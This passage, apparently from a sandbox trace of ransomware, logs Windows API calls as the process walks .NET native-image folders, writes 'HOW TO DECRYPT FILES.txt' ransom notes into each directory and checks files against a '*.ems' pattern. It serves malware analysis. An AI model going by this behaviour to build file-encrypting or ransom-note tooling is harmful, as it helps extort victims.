ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8b62ac3a8cfd55c530052c79253d25c8", cAlternateFileName="8B62AC~1")) returned 0 [0112.750] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.750] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6c40c69, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd6c40c69, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd6c40c69, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Messaging", cAlternateFileName="SYSTEM~1.MES")) returned 1 [0112.750] lstrcmpA (lpString1=".", lpString2="System.Messaging") returned -1 [0112.750] lstrcmpA (lpString1="..", lpString2="System.Messaging") returned -1 [0112.750] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.750] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Messaging" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Messaging") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Messaging" [0112.750] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Messaging\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6c40c69, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd6c40c69, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd6c40c69, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.751] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.751] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6c40c69, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd6c40c69, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd6c40c69, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.751] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.751] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.751] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6c40c69, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd6c40c69, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd6c40c69, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ee9a323861b378713f17421b0d98adb5", cAlternateFileName="EE9A32~1")) returned 1 [0112.751] lstrcmpA (lpString1=".", lpString2="ee9a323861b378713f17421b0d98adb5") returned -1 [0112.751] lstrcmpA (lpString1="..", lpString2="ee9a323861b378713f17421b0d98adb5") returned -1 [0112.751] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Messaging\\*.*") returned="*.*" [0112.751] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Messaging\\", lpString2="ee9a323861b378713f17421b0d98adb5" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Messaging\\ee9a323861b378713f17421b0d98adb5") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Messaging\\ee9a323861b378713f17421b0d98adb5" [0112.751] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Messaging\\ee9a323861b378713f17421b0d98adb5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6c40c69, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd6c40c69, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd6c40c69, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.751] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.751] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6c40c69, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd6c40c69, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd6c40c69, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.752] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.752] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.752] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6bce848, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd6bce848, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd6bf49a8, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xbf400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Messaging.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.752] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.752] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Messaging.ni.dll") returned -1 [0112.752] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Messaging.ni.dll") returned -1 [0112.752] lstrcmpiA (lpString1="", lpString2="System.Messaging.ni.dll") returned -1 [0112.752] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Messaging\\ee9a323861b378713f17421b0d98adb5\\*.*") returned="*.*" [0112.752] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Messaging\\ee9a323861b378713f17421b0d98adb5\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Messaging\\ee9a323861b378713f17421b0d98adb5\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Messaging\\ee9a323861b378713f17421b0d98adb5\\" [0112.752] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Messaging\\ee9a323861b378713f17421b0d98adb5\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Messaging\\ee9a323861b378713f17421b0d98adb5\\") returned="" [0112.752] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Messaging\\ee9a323861b378713f17421b0d98adb5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Messaging\\ee9a323861b378713f17421b0d98adb5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Messaging\\ee9a323861b378713f17421b0d98adb5\\HOW TO DECRYPT FILES.txt" [0112.752] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Messaging\\ee9a323861b378713f17421b0d98adb5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.messaging\\ee9a323861b378713f17421b0d98adb5\\how to decrypt files.txt")) returned 0xffffffff [0112.752] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Messaging\\ee9a323861b378713f17421b0d98adb5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.messaging\\ee9a323861b378713f17421b0d98adb5\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.754] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.754] CloseHandle (hObject=0x90) returned 1 [0112.754] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Messaging\\ee9a323861b378713f17421b0d98adb5\\", lpString2="System.Messaging.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Messaging\\ee9a323861b378713f17421b0d98adb5\\System.Messaging.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Messaging\\ee9a323861b378713f17421b0d98adb5\\System.Messaging.ni.dll" [0112.754] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Messaging\\ee9a323861b378713f17421b0d98adb5\\System.Messaging.ni.dll", pszSpec="*.ems") returned 0 [0112.755] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6bce848, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd6bce848, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd6bf49a8, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xbf400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Messaging.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.755] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.755] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6c40c69, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd6c40c69, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd6c40c69, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ee9a323861b378713f17421b0d98adb5", cAlternateFileName="EE9A32~1")) returned 0 [0112.755] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.755] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2169b380, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2169b380, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2169b380, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Net", cAlternateFileName="")) returned 1 [0112.755] lstrcmpA (lpString1=".", lpString2="System.Net") returned -1 [0112.755] lstrcmpA (lpString1="..", lpString2="System.Net") returned -1 [0112.755] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.755] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Net" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Net") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Net" [0112.755] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Net\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2169b380, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2169b380, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2169b380, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.756] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.756] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2169b380, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2169b380, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2169b380, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.756] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.756] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.756] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2169b380, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2169b380, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2169b380, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="d567624f1206028ff852c689416d6b58", cAlternateFileName="D56762~1")) returned 1 [0112.756] lstrcmpA (lpString1=".", lpString2="d567624f1206028ff852c689416d6b58") returned -1 [0112.756] lstrcmpA (lpString1="..", lpString2="d567624f1206028ff852c689416d6b58") returned -1 [0112.757] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Net\\*.*") returned="*.*" [0112.757] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Net\\", lpString2="d567624f1206028ff852c689416d6b58" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Net\\d567624f1206028ff852c689416d6b58") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Net\\d567624f1206028ff852c689416d6b58" [0112.757] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Net\\d567624f1206028ff852c689416d6b58\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2169b380, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2169b380, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2169b380, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.757] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.757] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2169b380, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2169b380, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2169b380, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.757] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.757] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.757] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21628f5f, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x21628f5f, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x21628f5f, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0xdfc00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Net.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.757] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.757] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Net.ni.dll") returned -1 [0112.757] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Net.ni.dll") returned -1 [0112.757] lstrcmpiA (lpString1="", lpString2="System.Net.ni.dll") returned -1 [0112.757] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Net\\d567624f1206028ff852c689416d6b58\\*.*") returned="*.*" [0112.757] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Net\\d567624f1206028ff852c689416d6b58\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Net\\d567624f1206028ff852c689416d6b58\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Net\\d567624f1206028ff852c689416d6b58\\" [0112.757] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Net\\d567624f1206028ff852c689416d6b58\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Net\\d567624f1206028ff852c689416d6b58\\") returned="" [0112.757] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Net\\d567624f1206028ff852c689416d6b58\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Net\\d567624f1206028ff852c689416d6b58\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Net\\d567624f1206028ff852c689416d6b58\\HOW TO DECRYPT FILES.txt" [0112.757] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Net\\d567624f1206028ff852c689416d6b58\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.net\\d567624f1206028ff852c689416d6b58\\how to decrypt files.txt")) returned 0xffffffff [0112.758] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Net\\d567624f1206028ff852c689416d6b58\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.net\\d567624f1206028ff852c689416d6b58\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.760] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.760] CloseHandle (hObject=0x90) returned 1 [0112.760] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Net\\d567624f1206028ff852c689416d6b58\\", lpString2="System.Net.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Net\\d567624f1206028ff852c689416d6b58\\System.Net.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Net\\d567624f1206028ff852c689416d6b58\\System.Net.ni.dll" [0112.760] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Net\\d567624f1206028ff852c689416d6b58\\System.Net.ni.dll", pszSpec="*.ems") returned 0 [0112.760] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21628f5f, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x21628f5f, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x21628f5f, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0xdfc00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Net.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.760] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.760] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2169b380, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2169b380, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2169b380, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="d567624f1206028ff852c689416d6b58", cAlternateFileName="D56762~1")) returned 0 [0112.760] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.760] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x928d9d8e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x928d9d8e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x928d9d8e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Printing", cAlternateFileName="SYSTEM~1.PRI")) returned 1 [0112.760] lstrcmpA (lpString1=".", lpString2="System.Printing") returned -1 [0112.761] lstrcmpA (lpString1="..", lpString2="System.Printing") returned -1 [0112.761] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.761] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Printing" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Printing") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Printing" [0112.761] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Printing\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x928d9d8e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x928d9d8e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x928d9d8e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.761] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.761] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x928d9d8e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x928d9d8e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x928d9d8e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.761] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.761] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.761] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x928d9d8e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x928d9d8e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x928d9d8e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8a2376658a24628765d359a0fafb3339", cAlternateFileName="8A2376~1")) returned 1 [0112.761] lstrcmpA (lpString1=".", lpString2="8a2376658a24628765d359a0fafb3339") returned -1 [0112.761] lstrcmpA (lpString1="..", lpString2="8a2376658a24628765d359a0fafb3339") returned -1 [0112.761] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Printing\\*.*") returned="*.*" [0112.761] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Printing\\", lpString2="8a2376658a24628765d359a0fafb3339" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Printing\\8a2376658a24628765d359a0fafb3339") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Printing\\8a2376658a24628765d359a0fafb3339" [0112.761] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Printing\\8a2376658a24628765d359a0fafb3339\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x928d9d8e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x928d9d8e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x928d9d8e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.762] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.762] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x928d9d8e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x928d9d8e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x928d9d8e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.762] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.762] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.762] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9281b6ad, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9281b6ad, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9284180d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x165600, 